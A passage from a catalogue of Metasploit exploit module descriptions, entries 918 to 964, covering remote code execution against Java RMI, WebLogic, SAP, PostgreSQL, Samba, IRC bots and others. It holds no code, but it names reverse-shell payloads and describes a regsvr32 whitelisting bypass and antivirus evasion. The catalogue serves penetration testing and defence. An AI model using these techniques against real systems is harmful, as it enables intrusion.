  is deployed (allowing to use javax.management.loading.MLet, having a
security manager
```

```
  allowing to load a ClassLoader MBean, etc.).

End Exploit Number 918

Begin Exploit Number 919
       Name: Java RMI Server Insecure Default Configuration Java Code
Execution
     Module: exploit/multi/misc/java_rmi_server
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-15

Payload information:
  Avoid: 0 characters

Description:
  This module takes advantage of the default configuration of the RMI
Registry and
  RMI Activation services, which allow loading classes from any remote
(HTTP) URL. As it
  invokes a method in the RMI Distributed Garbage Collector which is
available via every
  RMI endpoint, it can be used against both rmiregistry and rmid,  and
against most other
  (custom) RMI endpoints as well.

    Note that it does not work against Java Management Extension (JMX)
ports since those do
  not support remote class loading, unless another RMI endpoint is
active in the same
  Java process.

    RMI method calls do not support or require any sort of
authentication.

End Exploit Number 919

Begin Exploit Number 920
       Name: JBOSS EAP/AS Remoting Unified Invoker RCE
     Module: exploit/multi/misc/jboss_remoting_unified_invoker_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-11
```

```
Payload information:

Description:
  An unauthenticated attacker with network access to the JBOSS
  EAP/AS <= 6.x Remoting Unified Invoker interface can send a
  serialized object to the interface to execute code on vulnerable
hosts.

End Exploit Number 920

Begin Exploit Number 921
       Name: Legend Perl IRC Bot Remote Code Execution
     Module: exploit/multi/misc/legend_bot_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-27

Payload information:
  Space: 300

Description:
  This module exploits a remote command execution on the Legend Perl
IRC Bot.
  This bot has been used as a payload in the Shellshock spam last
October 2014.
  This particular bot has functionalities like NMAP scanning, TCP,
HTTP, SQL, and
  UDP flooding, the ability to remove system logs, and ability to gain
root, and
  VNC scanning.

  Kevin Stevens, a Senior Threat Researcher at Damballa, has uploaded
this script
  to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76.

End Exploit Number 921

Begin Exploit Number 922
       Name: Metasploit RPC Console Command Execution
     Module: exploit/multi/misc/msf_rpc_console
   Platform: Ruby, Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-05-22
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module connects to a specified Metasploit RPC server and
  uses the 'console.write' procedure to execute operating
  system commands. Valid credentials are required to access the
  RPC interface.

  This module has been tested successfully on Metasploit 4.15
  on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit
  4.14 on Windows 7 SP1.

End Exploit Number 922

Begin Exploit Number 923
       Name: Metasploit msfd Remote Code Execution
     Module: exploit/multi/misc/msfd_rce_remote
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: BSD License
       Rank: Excellent
  Disclosed: 2018-04-11

Payload information:
  Space: 8192
  Avoid: 2 characters

Description:
  Metasploit's msfd-service makes it possible to get a msfconsole-like
  interface over a TCP socket. If this socket is accessible on a
remote
  interface, an attacker can execute commands on the victim's machine.

  If msfd is running with higher privileges than the current local
user,
  this module can also be used for privilege escalation. In that case,
  port forwarding on the compromised host can be used.

  Code execution is achieved with the msfconsole command: irb -e
'CODE'.


End Exploit Number 923

Begin Exploit Number 924
       Name: NodeJS Debugger Command Injection
     Module: exploit/multi/misc/nodejs_v8_debugger
   Platform:
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-15

Payload information:

Description:
  This module uses the "evaluate" request type of the NodeJS V8
  debugger protocol (version 1) to evaluate arbitrary JS and
   call out to other system commands. The port (default 5858) is
  not exposed non-locally in default configurations, but may be
  exposed either intentionally or via misconfiguration.

End Exploit Number 924

Begin Exploit Number 925
       Name: HashiCorp Nomad Remote Command Execution
     Module: exploit/multi/misc/nomad_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-17

Payload information:

Description:
  Create a batch job on HashiCorp's Nomad service to spawn a shell. 
The default option
  is to use the 'raw_exec' driver, which runs with high privileges. 
Development servers
  and client's explicitly enabling the 'raw_exec' plugin can spawn 
these type of jobs.
  Regular 'exec' jobs can be created in a similar fashion at a lower 
privilege level.

End Exploit Number 925

Begin Exploit Number 926
       Name: Apache OpenOffice Text Document Malicious Macro Execution
     Module: exploit/multi/misc/openoffice_document_macro
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-02-08
```

```
Payload information:

Description:
  This module generates an Apache OpenOffice Text Document with a
malicious macro in it.
  To exploit successfully, the targeted user must adjust the security
level in Macro
  Security to either Medium or Low. If set to Medium, a prompt is
presented to the user
  to enable or disable the macro. If set to Low, the macro can
automatically run without
  any warning.

  The module also works against LibreOffice.

End Exploit Number 926

Begin Exploit Number 927
       Name: HP OpenView OmniBack II Command Execution
     Module: exploit/multi/misc/openview_omniback_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2001-02-28

Payload information:
  Space: 1024

Description:
  This module uses a vulnerability in the OpenView Omniback II
  service to execute arbitrary commands. This vulnerability was
  discovered by DiGiT and his code was used as the basis for this
  module.

  For Microsoft Windows targets, due to module limitations, use the
  "unix/cmd/generic" payload and set CMD to your command. You can only
  pass a small amount of characters (4) to the command line on
Windows.

End Exploit Number 927

Begin Exploit Number 928
       Name: Eclipse Equinox OSGi Console Command Execution
     Module: exploit/multi/misc/osgi_console_exec
   Platform: Linux, Windows
       Arch: armle, aarch64, x86, x64
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-02-13

Payload information:

Description:
  Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) 
console
  'fork' command to execute arbitrary commands on the remote system.

End Exploit Number 928

Begin Exploit Number 929
       Name: PHP IRC Bot pbot eval() Remote Code Execution
     Module: exploit/multi/misc/pbot_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-02

Payload information:
  Space: 344
  Avoid: 0 characters

Description:
  This module allows remote command execution on the PHP IRC bot pbot 
by abusing
  the usage of eval() in the implementation of the .php command. In 
order to work,
  the data to connect to the IRC server and channel where find pbot 
must be provided.
  The module has been successfully tested on the version of pbot 
analyzed by Jay
  Turla, and published on Infosec Institute, running over Ubuntu 10.04 
and Windows XP
  SP3.

End Exploit Number 929

Begin Exploit Number 930
       Name: HP Client Automation Command Injection
     Module: exploit/multi/misc/persistent_hpca_radexec_exec
   Platform: Unix, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-01-02

Payload information:
  Space: 466
  Avoid: 1 characters

Description:
  This module exploits a command injection vulnerability on HP Client
Automation, distributed
  actually as Persistent Systems Client Automation. The vulnerability
exists in the Notify
  Daemon (radexecd.exe), which doesn't authenticate execution requests
by default.

  This module has been tested successfully on HP Client Automation
9.00 on Windows 2003 SP2
  and CentOS 5.

End Exploit Number 930

Begin Exploit Number 931
       Name: QEMU Monitor HMP 'migrate' Command Execution
     Module: exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, aarch64, armle, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-12-02

Payload information:
  Space: 1010
  Avoid: 4 characters

Description:
  This module uses QEMU's Monitor Human Monitor Interface (HMP)
  TCP server to execute system commands using the `migrate` command.

  This module has been tested successfully on QEMU version 6.2.0
  on Ubuntu 20.04.

End Exploit Number 931

Begin Exploit Number 932
       Name: Ra1NX PHP Bot PubCall Authentication Bypass Remote Code
Execution
     Module: exploit/multi/misc/ra1nx_pubcall_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-24

Payload information:
  Space: 344
  Avoid: 0 characters

Description:
  This module allows remote command execution on the PHP IRC bot Ra1NX 
by
  using the public call feature in private message to covertly bypass 
the
  authentication system.

End Exploit Number 932

Begin Exploit Number 933
       Name: TeamCity Agent XML-RPC Command Execution
     Module: exploit/multi/misc/teamcity_agent_xmlrpc_exec
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-14

Payload information:

Description:
  This module allows remote code execution on TeamCity Agents 
configured
  to use bidirectional communication via xml-rpc. In bidirectional 
mode
  the TeamCity server pushes build commands to the Build Agents over 
port
  TCP/9090 without requiring authentication. Up until version 10 this 
was
  the default configuration. This module supports TeamCity agents from
  version 6.0 onwards.

End Exploit Number 933

Begin Exploit Number 934
       Name: VERITAS NetBackup Remote Command Execution
     Module: exploit/multi/misc/veritas_netbackup_cmdexec
   Platform: Linux, Unix, Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2004-10-21

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module allows arbitrary command execution on an
  ephemeral port opened by Veritas NetBackup, whilst an
  administrator is authenticated. The port is opened and
  allows direct console access as root or SYSTEM from
  any source address.

End Exploit Number 934

Begin Exploit Number 935
       Name: VSCode ipynb Remote Development RCE
     Module: exploit/multi/misc/vscode_ipynb_remote_dev_exec
   Platform: 
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-11-22

Payload information:
  Avoid: 2 characters

Description:
  VSCode when opening an Jupyter notebook (.ipynb) file bypasses the
trust model.
  On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook
to embed
  HTML and javascript, which can then open new terminal windows within
VSCode.
  Each of these new windows can then execute arbitrary code at
startup.

  During testing, the first open of the Jupyter notebook resulted in
pop-ups
  displaying errors of unable to find the payload exe file. The second
attempt
  at opening the Jupyter notebook would result in successful
exeuction.

  Successfully tested against VSCode 1.70.2 on Windows 10.

End Exploit Number 935
```

```
Begin Exploit Number 936
       Name: w3tw0rk / Pitbul IRC Bot  Remote Code Execution
     Module: exploit/multi/misc/w3tw0rk_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-04

Payload information:
  Space: 300

Description:
  This module allows remote command execution on the w3tw0rk / Pitbul 
IRC Bot.

End Exploit Number 936

Begin Exploit Number 937
       Name: Oracle Weblogic Server Deserialization RCE
     Module: exploit/multi/misc/weblogic_deserialize
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-04-17

Payload information:
  Avoid: 1 characters

Description:
  An unauthenticated attacker with network access to the Oracle 
Weblogic
  Server T3 interface can send a serialized object to the interface to
  execute code on vulnerable hosts.

End Exploit Number 937

Begin Exploit Number 938
       Name: Oracle Weblogic Server Deserialization RCE - 
AsyncResponseService
     Module: exploit/multi/misc/
weblogic_deserialize_asyncresponseservice
   Platform: Unix, Windows, Solaris
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-23

Payload information:

Description:
  An unauthenticated attacker with network access to the Oracle 
Weblogic Server T3
  interface can send a malicious SOAP request to the interface WLS 
AsyncResponseService
  to execute code on the vulnerable host.

End Exploit Number 938

Begin Exploit Number 939
       Name: WebLogic Server Deserialization RCE 
BadAttributeValueExpException ExtComp
     Module: exploit/multi/misc/weblogic_deserialize_badattr_extcomp
   Platform: Unix, Linux, Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-04-30

Payload information:

Description:
  There exists a Java object deserialization vulnerability
  in multiple versions of WebLogic.

  Unauthenticated remote code execution can be achieved by
  sending a serialized `BadAttributeValueExpException`
  object over the T3 protocol to vulnerable versions of
  WebLogic. Leveraging an `ExtractorComparator` enables
  the ability to trigger `method.invoke()`, which will
  execute arbitrary code.

End Exploit Number 939

Begin Exploit Number 940
       Name: WebLogic Server Deserialization RCE - 
BadAttributeValueExpException
     Module: exploit/multi/misc/weblogic_deserialize_badattrval
   Platform: Unix, Linux, Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-01-15
```

```
Payload information:

Description:
  There exists a Java object deserialization vulnerability
  in multiple versions of WebLogic.

  Unauthenticated remote code execution can be achieved
  by sending a serialized BadAttributeValueExpException object
  over the T3 protocol to vulnerable WebLogic servers.

End Exploit Number 940

Begin Exploit Number 941
       Name: Oracle Weblogic Server Deserialization RCE -
MarshalledObject
     Module: exploit/multi/misc/weblogic_deserialize_marshalledobject
   Platform: Unix, Windows, Solaris
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-07-19

Payload information:

Description:
  An unauthenticated attacker with network access to the Oracle
Weblogic Server T3
  interface can send a serialized object
(weblogic.corba.utils.MarshalledObject)
  to the interface to execute code on vulnerable hosts.

End Exploit Number 941

Begin Exploit Number 942
       Name: Oracle Weblogic Server Deserialization RCE - Raw Object
     Module: exploit/multi/misc/weblogic_deserialize_rawobject
   Platform: Unix, Windows, Solaris
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-28

Payload information:

Description:
  An unauthenticated attacker with network access to the Oracle
Weblogic Server T3
  interface can send a serialized object
```

```
(weblogic.jms.common.StreamMessageImpl)
  to the interface to execute code on vulnerable hosts.

End Exploit Number 942

Begin Exploit Number 943
       Name: Oracle Weblogic Server Deserialization RCE - RMI
UnicastRef
     Module: exploit/multi/misc/weblogic_deserialize_unicastref
   Platform: Unix, Windows, Solaris
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-01-25

Payload information:
  Avoid: 1 characters

Description:
  An unauthenticated attacker with network access to the Oracle
Weblogic Server T3
  interface can send a serialized object (sun.rmi.server.UnicastRef)
  to the interface to execute code on vulnerable hosts.

End Exploit Number 943

Begin Exploit Number 944
       Name: Wireshark LWRES Dissector getaddrsbyname_request Buffer
Overflow
     Module: exploit/multi/misc/wireshark_lwres_getaddrbyname
   Platform: Linux, OSX, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-01-27

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and
1.2.0 through
  1.2.5 allows remote attackers to execute arbitrary code due to a
stack-based buffer
  overflow. This bug found and reported by babi.

  This particular exploit targets the dissect_getaddrsbyname_request
```

```
function. Several
  other functions also contain potentially exploitable stack-based
buffer overflows.

  The Windows version (of 1.2.5 at least) is compiled with /GS, which
prevents
  exploitation via the return address on the stack. Sending a larger
string allows
  exploitation using the SEH bypass method. However, this packet will
usually get
  fragmented, which may cause additional complications.

  NOTE: The vulnerable code is reached only when the packet dissection
is rendered.
  If the packet is fragmented, all fragments must be captured and
reassembled to
  exploit this issue.

End Exploit Number 944

Begin Exploit Number 945
       Name: Wireshark LWRES Dissector getaddrsbyname_request Buffer
Overflow (loop)
     Module: exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
   Platform: Linux, OSX, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-01-27

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and
1.2.0 through
  1.2.5 allows remote attackers to execute arbitrary code due to a
stack-based buffer
  overflow. This bug found and reported by babi.

  This particular exploit targets the dissect_getaddrsbyname_request
function. Several
  other functions also contain potentially exploitable stack-based
buffer overflows.

  The Windows version (of 1.2.5 at least) is compiled with /GS, which
prevents
  exploitation via the return address on the stack. Sending a larger
```

```
string allows
  exploitation using the SEH bypass method. However, this packet will
usually get
  fragmented, which may cause additional complications.

  NOTE: The vulnerable code is reached only when the packet dissection
is rendered.
  If the packet is fragmented, all fragments must be captured and
reassembled to
  exploit this issue.

  This version loops, sending the packet every X seconds until the job
is killed.

End Exploit Number 945

Begin Exploit Number 946
       Name: Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code
Execution
     Module: exploit/multi/misc/xdh_x_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-04

Payload information:
  Space: 300

Description:
  This module allows remote command execution on an IRC Bot developed
by xdh.
  This perl bot was caught by Conor Patrick with his shellshock
honeypot server
  and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS
Bot). Matt
  Thayer also found this script which has a description of LinuxNet
perlbot.

  The bot answers only based on the servername and nickname in the IRC
message
  which is configured on the perl script thus you need to be an
operator on the IRC
  network to spoof it and in order to exploit this bot or have at
least the same ip
  to the config.

End Exploit Number 946
```

```
Begin Exploit Number 947
       Name: Zend Server Java Bridge Arbitrary Java Code Execution
     Module: exploit/multi/misc/zend_java_bridge
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-03-28

Payload information:

Description:
  This module takes advantage of a trust relationship issue within the
  Zend Server Java Bridge. The Java Bridge is responsible for handling
interactions
  between PHP and Java code within Zend Server.

    When Java code is encountered Zend Server communicates with the
Java Bridge. The
  Java Bridge then handles the java code and creates the objects
within the Java Virtual
  Machine. This interaction however, does not require any sort of
authentication. This
  leaves the JVM wide open to remote attackers. Sending specially
crafted data to the
  Java Bridge results in the execution of arbitrary java code.

End Exploit Number 947

Begin Exploit Number 948
       Name: Oracle MySQL UDF Payload Execution
     Module: exploit/multi/mysql/mysql_udf_payload
   Platform: Windows, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-01-16

Payload information:

Description:
  This module creates and enables a custom UDF (user defined function)
on the
  target host via the SELECT ... into DUMPFILE method of binary
injection. On
  default Microsoft Windows installations of MySQL (=< 5.5.9),
directory write
  permissions not enforced, and the MySQL service runs as LocalSystem.
  NOTE: This module will leave a payload executable on the target
system when the
  attack is finished, as well as the UDF DLL, and will define or
redefine sys_eval()
  and sys_exec() functions.

End Exploit Number 948

Begin Exploit Number 949
       Name: NTP Daemon readvar Buffer Overflow
     Module: exploit/multi/ntp/ntp_overflow
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-04-04

Payload information:
  Space: 220
  Avoid: 6 characters

Description:
  This module exploits a stack based buffer overflow in the
  ntpd and xntpd service. By sending an overly long 'readvar'
  request it is possible to execute code remotely. As the stack
  is corrupted, this module uses the Egghunter technique.

End Exploit Number 949

Begin Exploit Number 950
       Name: Unauthenticated remote code execution in Ignition
     Module: exploit/multi/php/ignition_laravel_debug_rce
   Platform: Unix, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-13

Payload information:

Description:
  Ignition before 2.5.2, as used in Laravel and other products,
  allows unauthenticated remote attackers to execute arbitrary code
  because of insecure usage of file_get_contents() and
file_put_contents().
  This is exploitable on sites using debug mode with Laravel before
8.4.2.
```

```
End Exploit Number 950

Begin Exploit Number 951
       Name: Jorani unauthenticated Remote Code Execution
     Module: exploit/multi/php/jorani_path_trav
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-06

Payload information:

Description:
  This module exploits an unauthenticated Remote Code Execution in
Jorani prior to 1.0.2.
  It abuses 3 vulnerabilities: log poisoning and redirection bypass
via header spoofing, then it uses path traversal to trigger the
vulnerability.
  It has been tested on Jorani 1.0.0.

End Exploit Number 951

Begin Exploit Number 952
       Name: PHP 4 unserialize() ZVAL Reference Counter Overflow
(Cookie)
     Module: exploit/multi/php/php_unserialize_zval_cookie
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-03-04

Payload information:
  Space: 1024

Description:
  This module exploits an integer overflow vulnerability in the
unserialize()
  function of the PHP web server extension. This vulnerability was
patched by
  Stefan in version 4.5.0 and applies all previous versions supporting
this function.
  This particular module targets numerous web applications and is
based on the proof
  of concept provided by Stefan Esser. This vulnerability requires
approximately 900k
```

```
  of data to trigger due the multiple Cookie headers requirement.
Since we
  are already assuming a fast network connection, we use a 2Mb block
of shellcode for
  the brute force, allowing quick exploitation for those with fast
networks.

  One of the neat things about this vulnerability is that on x86
systems, the EDI register points
  into the beginning of the hashtable string. This can be used with an
egghunter to
  quickly exploit systems where the location of a valid "jmp EDI" or
"call EDI" instruction
  is known. The EDI method is faster, but the bandwidth-intensive
brute force used by this
  module is more reliable across a wider range of systems.

End Exploit Number 952

Begin Exploit Number 953
       Name: Snap Creek Duplicator WordPress plugin code injection
     Module: exploit/multi/php/wp_duplicator_code_inject
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-08-29

Payload information:

Description:
  When the WordPress plugin Snap Creek Duplicator restores a backup,
it
  leaves dangerous files in the filesystem such as installer.php and
  installer-backup.php. These files allow anyone to call a function
that
  overwrite the wp-config.php file AND this function does not sanitize
  POST parameters before inserting them inside the wp-config.php file,
  leading to arbitrary PHP code execution.
  WARNING: This exploit WILL break the wp-config.php file. If possible
try
  to restore backups of the configuration after the exploit to make
the
  WordPress site work again.

End Exploit Number 953

Begin Exploit Number 954
       Name: PostgreSQL COPY FROM PROGRAM Command Execution
     Module: exploit/multi/postgres/
postgres_copy_from_program_cmd_exec
   Platform: Linux, Unix, Windows, OSX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-20

Payload information:

Description:
  Installations running Postgres 9.3 and above have functionality
which allows for the superuser
  and users with 'pg_execute_server_program' to pipe to and from an
external program using COPY.
  This allows arbitrary command execution as though you have console
access.

  This module attempts to create a new table, then execute system
commands in the context of
  copying the command output into the table.

  This module should work on all Postgres systems running version 9.3
and above.

  For Linux & OSX systems, target 1 is used with cmd payloads such as:
cmd/unix/reverse_perl

  For Windows Systems, target 2 is used with powershell payloads such
as: cmd/windows/powershell_reverse_tcp
  Alternativly target 3 can be used to execute generic commands, such
as a web_delivery meterpreter powershell payload
  or other customised command.

End Exploit Number 954

Begin Exploit Number 955
       Name: PostgreSQL CREATE LANGUAGE Execution
     Module: exploit/multi/postgres/postgres_createlang
   Platform: Linux, Unix, Windows, OSX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-01-01

Payload information:

Description:
  Some installations of Postgres 8 and 9 are configured to allow
loading external scripting languages.
  Most commonly this is Perl and Python. When enabled, command
execution is possible on the host.
  To execute system commands, loading the "untrusted" version of the
language is necessary.
  This requires a superuser. This is usually postgres. The execution
should be platform-agnostic,
  and has been tested on OS X, Windows, and Linux.

  This module attempts to load Perl or Python to execute system
commands. As this dynamically loads
  a scripting language to execute commands, it is not necessary to
drop a file on the filesystem.

  Only Postgres 8 and up are supported.

End Exploit Number 955

Begin Exploit Number 956
       Name: RealServer Describe Buffer Overflow
     Module: exploit/multi/realserver/describe
   Platform: BSD, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2002-12-20

Payload information:
  Space: 2000
  Avoid: 14 characters

Description:
  This module exploits a buffer overflow in RealServer 7/8/9
  and was based on Johnny Cyberpunk's THCrealbad exploit. This
  code should reliably exploit Linux, BSD, and Windows-based
  servers.

End Exploit Number 956

Begin Exploit Number 957
       Name: Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
     Module: exploit/multi/samba/nttrans
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2003-04-07
```

```
Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module attempts to exploit a buffer overflow vulnerability
present in
  versions 2.2.2 through 2.2.6 of Samba.

  The Samba developers report this as:
  "Bug in the length checking for encrypted password change requests
from clients."

  The bug was discovered and reported by the Debian Samba Maintainers.

End Exploit Number 957

Begin Exploit Number 958
       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands.

  No authentication is needed to exploit this vulnerability since
  this option is used to map usernames prior to authentication!

End Exploit Number 958

Begin Exploit Number 959
       Name: SAP Solution Manager remote unauthorized OS commands
execution
     Module: exploit/multi/sap/cve_2020_6207_solman_rs
   Platform:
       Arch:
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-10-03

Payload information:

Description:
  This module exploits the CVE-2020-6207 vulnerability within the SAP 
EEM servlet (tc~smd~agent~application~eem) of
  SAP Solution Manager (SolMan) running version 7.2. The vulnerability 
occurs due to missing authentication
  checks when submitting a SOAP request to the /EemAdminService/
EemAdmin page to get information about connected SMDAgents,
  send HTTP request (SSRF) and execute OS command on connected 
SMDAgent. Works stable in connected SMDAgent with Java version 1.8.

  Successful exploitation will allow unauthenticated remote attackers 
to get reverse shell from connected to the SolMan
  agent as the user under which it runs SMDAgent service, usually 
daaadm.

End Exploit Number 959

Begin Exploit Number 960
       Name: SAP Management Console OSExecute Payload Execution
     Module: exploit/multi/sap/sap_mgmt_con_osexec_payload
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-03-08

Payload information:
  Avoid: 14 characters

Description:
  This module executes an arbitrary payload through the SAP Management 
Console
  SOAP Interface.  A valid username and password for the SAP 
Management Console must
  be provided. This module has been tested successfully on both 
Windows and Linux
  platforms running SAP Netweaver. In order to exploit a Linux 
platform, the target
  system must have available the wget command.

End Exploit Number 960

Begin Exploit Number 961
```

```
       Name: SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
     Module: exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
   Platform: Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-26

Payload information:

Description:
  This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on 
the SAP SOAP
  RFC Service, to execute remote commands. This module needs SAP 
credentials with
  privileges to use the /sap/bc/soap/rfc in order to work. The module 
has been tested
  successfully on Windows 2008 64-bit and Linux 64-bit platforms.

End Exploit Number 961

Begin Exploit Number 962
       Name: SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command 
Execution
     Module: exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
   Platform: Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-05-08

Payload information:

Description:
  This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, 
on the SAP
  SOAP RFC Service, to execute remote commands. This module needs SAP 
credentials with
  privileges to use the /sap/bc/soap/rfc in order to work. The module 
has been tested
  successfully on Windows 2008 64-bit and Linux 64-bit platforms.

End Exploit Number 962

Begin Exploit Number 963
       Name: Inductive Automation Ignition Remote Code Execution
     Module: exploit/multi/scada/inductive_ignition_rce
   Platform: Unix, Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-11

Payload information:

Description:
  This module exploits a Java deserialization vulnerability in the
Inductive Automation Ignition SCADA product,
  versions 8.0.0 to (and including) 8.0.7.
  This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux
and Windows.
  The default configuration is exploitable by an unauthenticated
attacker, which can achieve
  remote code execution as SYSTEM on a Windows installation and root
on Linux.
  The vulnerability was discovered and exploited at Pwn2Own Miami 2020
by the Flashback team (Pedro Ribeiro +
  Radek Domanski).

End Exploit Number 963

Begin Exploit Number 964
       Name: Script Web Delivery
     Module: exploit/multi/script/web_delivery
   Platform: Python, PHP, Windows, Linux, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-07-19

Payload information:

Description:
  This module quickly fires up a web server that serves a payload.

  The module will provide a command to be run on the target machine
  based on the selected target. The provided command will download
  and execute a payload using either a specified scripting language
  interpreter or "squiblydoo" via regsvr32.exe for bypassing
  application whitelisting.

  The main purpose of this module is to quickly establish a session on
a
  target machine when the attacker has to manually type in the
command:
  e.g. Command Injection, RDP Session, Local Access or maybe Remote
  Command Execution.

  This attack vector does not write to disk so it is less likely to
  trigger AV solutions and will allow privilege escalations supplied
  by Meterpreter.

  When using either of the PSH targets, ensure the payload
architecture
  matches the target computer or use SYSWOW64 powershell.exe to
execute
  x86 payloads on x64 machines.

  Regsvr32 uses "squiblydoo" technique to bypass application
whitelisting.
  The signed Microsoft binary file, Regsvr32, is able to request
an .sct
  file and then execute the included PowerShell command inside of it.

  Similarly, the pubprn target uses the pubprn.vbs script to request
and
  execute a .sct file.

